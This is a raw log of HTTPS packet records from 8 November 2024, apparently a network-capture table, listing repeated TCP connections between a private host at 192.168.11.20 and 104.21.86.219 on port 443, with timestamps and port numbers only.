                                                                                                                                          Nov 8, 2024 11:27:16.268721104 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:16.268898010 CET49710443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:16.268928051 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:17.091978073 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:17.092039108 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:17.092286110 CET49710443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:17.092626095 CET49710443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:17.131107092 CET49711443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:17.131124020 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:17.131350994 CET49711443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:17.131536961 CET49711443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:17.131542921 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:17.355948925 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:17.357328892 CET49711443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:17.357336044 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.206676960 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.206736088 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.206762075 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.206793070 CET44349711104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.206942081 CET49711443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.223542929 CET49711443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.246295929 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.246314049 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.246598005 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.246767044 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.246777058 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.457696915 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.458539009 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.458548069 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:18.458834887 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:18.458846092 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:19.292257071 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:19.292335033 CET44349712104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:19.292529106 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:19.292716026 CET49712443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:19.316099882 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:19.316139936 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:19.316358089 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:19.316728115 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:19.316757917 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:19.528636932 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:19.529680967 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:19.529700041 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.376713991 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.376787901 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.376832008 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.376867056 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.376996040 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.377018929 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.377033949 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.427437067 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.622176886 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.622447968 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.622462034 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.622594118 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.622713089 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.622720957 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.622720957 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.622728109 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.622894049 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.622903109 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.623117924 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.623342037 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.623349905 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.677380085 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.869371891 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.869729042 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.869750023 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.869880915 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.869889975 CET44349713104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:20.870054960 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:20.888503075 CET49713443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:21.463593960 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:21.463630915 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:21.463807106 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:21.463972092 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:21.463992119 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:21.676404953 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:21.677438974 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:21.677460909 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:21.677715063 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:21.677731037 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.500471115 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.500587940 CET44349714104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.500766993 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.500916958 CET49714443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.541306019 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.541357040 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.541563988 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.541690111 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.541717052 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.751571894 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.752803087 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.752814054 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:22.753072023 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:22.753079891 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.146538019 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.146579027 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.146759033 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.149399996 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.149410009 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.377314091 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.377580881 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.378855944 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.378880978 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.379400015 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.381880999 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.427968979 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.570959091 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.570991993 CET44349715104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.571194887 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.571444988 CET49715443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.606605053 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.606647015 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.606805086 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.606919050 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.606935978 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.820491076 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.821527004 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.821540117 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:23.821666956 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:23.821674109 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.207225084 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.207269907 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.207302094 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.207330942 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.207452059 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.207461119 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.207526922 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.254715919 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.254724026 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.301650047 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.445975065 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.446718931 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.446748018 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.446894884 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.446904898 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.446935892 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.446968079 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.447137117 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.447137117 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.447145939 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.448013067 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.448177099 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.448185921 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.489044905 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.635154009 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.635214090 CET44349717104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.635360956 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.635545015 CET49717443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.686968088 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.687026978 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.687134027 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.687302113 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.687303066 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.687308073 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.687418938 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.687545061 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.687545061 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.687547922 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.688430071 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.688447952 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.688494921 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.688781977 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.688781977 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.688786983 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.740016937 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.740024090 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.786801100 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.926691055 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.926839113 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.927436113 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.927453041 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.927599907 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.927987099 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.927992105 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.928009033 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.928193092 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.928195953 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.928256035 CET44349716104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:24.928576946 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:24.929172039 CET49716443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.487957001 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.487974882 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:27.488162994 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.491511106 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.491520882 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:27.784100056 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:27.784387112 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.785619974 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.785628080 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:27.785814047 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:27.788629055 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:27.831960917 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.653232098 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.653264046 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.653306961 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.653439999 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:28.653453112 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.653570890 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:28.706923962 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:28.897973061 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.898020983 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.898049116 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.898236036 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:28.898248911 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.898416996 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:28.898628950 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.898689985 CET44349718104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:28.899163008 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:28.915863037 CET49718443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:29.031274080 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:29.031303883 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:29.031527996 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:29.031728029 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:29.031742096 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:29.259099007 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:29.260010958 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:29.260026932 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:29.260175943 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:29.260185957 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:30.096040964 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:30.096199989 CET44349719104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:30.096396923 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:30.096695900 CET49719443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:40.973536015 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:40.973602057 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:40.973777056 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:40.973957062 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:40.973993063 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:41.188895941 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:41.192270041 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:41.192305088 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:41.192472935 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:41.192502022 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:42.029998064 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:42.030041933 CET44349728104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:42.030249119 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:42.030514002 CET49728443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:42.063600063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:42.063626051 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:42.063807964 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:42.064026117 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:42.064035892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:42.275235891 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:42.276925087 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:42.276938915 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.121623993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.121706963 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.121763945 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.121819973 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.121886015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.121911049 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.121992111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.172447920 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.365725040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.365936041 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.365969896 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.366086960 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.366103888 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.366242886 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.366274118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.366290092 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.366430998 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.366446018 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.366652012 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.366879940 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.366894007 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.406795025 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.611296892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.611417055 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.611474037 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.611609936 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.611645937 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.611819029 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.611829996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.611865044 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.611988068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.612003088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.612024069 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.612158060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.612474918 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.612606049 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.612746000 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.612802982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.612834930 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.613014936 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.857054949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857275963 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857424021 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857517004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.857539892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857563019 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857764006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857779026 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.857836008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.857992887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.858000040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.858208895 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.858258009 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.858484030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.858578920 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.858760118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.858814001 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.859071970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.859632015 CET44349729104.21.86.219192.168.11.20
